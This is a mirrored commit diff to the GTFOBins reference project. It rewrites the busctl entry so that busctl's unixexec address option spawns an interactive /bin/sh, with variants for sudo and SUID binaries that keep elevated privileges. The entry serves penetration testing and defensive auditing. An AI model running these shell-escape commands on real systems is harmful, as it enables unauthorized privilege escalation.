mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Promote to shell
This commit is contained in:
parent
d5194e343d
commit
0a28b732b0
@ -1,15 +1,16 @@
|
||||
---
|
||||
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||
code: |
|
||||
busctl --show-machine
|
||||
!/bin/sh
|
||||
- code: |
|
||||
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
|
||||
sudo:
|
||||
- code: |
|
||||
sudo busctl --show-machine
|
||||
!/bin/sh
|
||||
command:
|
||||
sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
|
||||
suid:
|
||||
- code: |
|
||||
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=firefox,argv1=https://www.example.com
|
||||
./busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user